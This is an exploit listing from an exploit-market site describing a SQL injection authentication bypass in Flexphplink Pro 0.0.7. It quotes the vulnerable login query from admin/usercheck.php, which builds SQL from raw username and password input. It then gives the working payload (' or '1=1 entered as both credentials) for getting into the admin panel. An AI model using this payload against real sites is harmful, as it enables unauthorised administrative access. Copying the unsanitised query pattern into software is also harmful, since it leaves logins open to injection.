[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Flexphplink 0.0.x (Auth Bypass) SQL Injection Vulnerability

Author
x0r
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-4570
Category
web applications
Date add
29-12-2008
Platform
unsorted
===========================================================
Flexphplink 0.0.x (Auth Bypass) SQL Injection Vulnerability
===========================================================


#############################################
Autore: x0r
Cms: Flexphplink Pro
Version: 0.0.7
Download: http://www.china-on-site.com/flexphplink/downloads.html
##############################################

Bug In \admin\usercheck.php

$sql = "select username,adminid from linkexadmin where
username='$checkuser' and password='$checkpass'";

Exploit:
 
Go to /[path]/admin/index.php
Put as username and password the following sql code: ' or '1=1

Greetz: Visit My Site Pls :P



#  0day.today [2024-11-15]  #